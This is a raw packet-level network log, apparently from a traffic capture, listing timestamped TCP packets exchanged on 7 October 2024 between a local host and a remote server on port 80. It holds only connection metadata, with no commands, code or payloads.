Oct 7, 2024 18:00:26.074899912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074909925 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074920893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074932098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.074956894 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.074970961 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.076203108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.076214075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.076224089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.076280117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.076280117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.077056885 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077068090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077080965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077091932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077112913 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.077142954 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.077202082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077212095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077222109 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077249050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.077261925 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.077331066 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077339888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077349901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077361107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077374935 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.077402115 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.077804089 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077814102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077825069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.077856064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.077868938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.078037024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.078047037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.078057051 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.078067064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.078075886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.078088999 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.078124046 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.149604082 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149617910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149629116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149745941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.149763107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149775028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149785042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149795055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149806023 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149806976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.149835110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.149852991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.149868965 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149880886 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149893045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.149914026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.149926901 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.150409937 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.150422096 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.150433064 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.150454998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.150480032 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.151355028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.151406050 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.151514053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.151524067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.151551008 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.151561975 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.151571989 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.151572943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.151583910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.151596069 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.151596069 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.151607037 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.151616096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.151648998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153091908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153132915 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153229952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153242111 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153266907 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153285027 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153362036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153372049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153383017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153393984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153395891 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153405905 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153412104 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153440952 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153467894 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153476954 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153479099 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153490067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153510094 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153526068 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153572083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153584003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153594017 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153614998 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153637886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153709888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153726101 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153736115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153743982 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153748035 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153759956 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153769970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153779984 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153781891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153798103 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.153803110 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.153831005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.154508114 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.154517889 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.154529095 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.154551029 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.154557943 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.154567957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.154578924 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.154587984 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.154589891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.154617071 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.154635906 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.154818058 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.154865026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.155878067 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.155889988 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.155900955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.155924082 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.155949116 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.156115055 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.156126022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.156136036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.156146049 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.156156063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.156182051 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157121897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157131910 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157143116 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157154083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157171011 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157179117 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157181978 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157192945 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157193899 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157203913 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157211065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157217979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157227993 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157238007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157244921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157249928 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157280922 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157284021 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157293081 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157294989 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157324076 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157339096 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157463074 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157471895 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157521009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157550097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157560110 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157571077 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157579899 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157588005 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157593012 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157603979 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157613993 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157644987 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.157958984 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157969952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157980919 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.157998085 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.158025026 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.158037901 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158049107 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158061028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158071041 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158080101 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.158098936 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.158127069 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.158220053 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158231020 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158241987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158255100 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158256054 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.158272028 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.158293009 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.158303022 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158313036 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158324003 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.158343077 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.158369064 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.159498930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.159544945 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.159744024 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.159751892 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.159763098 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.159774065 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.159782887 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.159784079 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.159796000 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.159822941 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.159840107 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.160106897 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.160145044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.160713911 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.160722971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.160737991 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.160748005 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.160763025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.160772085 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.160779953 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.160787106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.160804033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.160804033 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.160814047 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.160830021 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.160850048 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.161444902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.161454916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.161464930 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.161483049 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.161510944 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.161824942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.161834955 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.161844969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.161854982 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.161864042 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.161875963 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.161897898 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.233186007 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.233207941 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.233218908 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.233331919 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.233371019 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.233474970 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.233486891 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.233495951 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.233505964 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.233525991 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.233555079 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.234033108 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.234044075 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.234052896 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.234064102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.234088898 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.234118938 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.234134912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.234179974 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.234189987 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.234200001 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.234226942 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.234242916 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.235375881 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.235398054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.235414028 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.235430956 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.235457897 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.235521078 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.235532045 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.235542059 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.235553026 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.235577106 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.235627890 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.235677004 CEST	49672	443	192.168.2.6	173.222.162.64
Oct 7, 2024 18:00:26.236835957 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.236891031 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.237006903 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237015963 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237025976 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237030983 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237040997 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237055063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.237056971 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237066031 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237076044 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.237118006 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.237128019 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237138033 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237148046 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237159014 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237163067 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.237170935 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237181902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237191916 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237201929 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.237236023 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.237273932 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237284899 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237294912 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237306118 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237317085 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237325907 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237335920 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.237339973 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.237359047 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.237390041 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.238078117 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.238087893 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.238096952 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.238130093 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.238143921 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.238197088 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.238207102 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.238217115 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.238250971 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.238277912 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.238439083 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.238449097 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.238490105 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.238503933 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.239523888 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.239535093 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.239541054 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.239584923 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.239610910 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.239618063 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.239629030 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.239638090 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.239648104 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.239660025 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.239662886 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.239690065 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.239717960 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.240757942 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.240812063 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.290220976 CEST	49718	80	192.168.2.6	46.8.231.109
Oct 7, 2024 18:00:26.295341969 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463059902 CEST	80	49718	46.8.231.109	192.168.2.6
Oct 7, 2024 18:00:26.463080883 CEST	80	49718	46.8.231.109	192.168.2.6
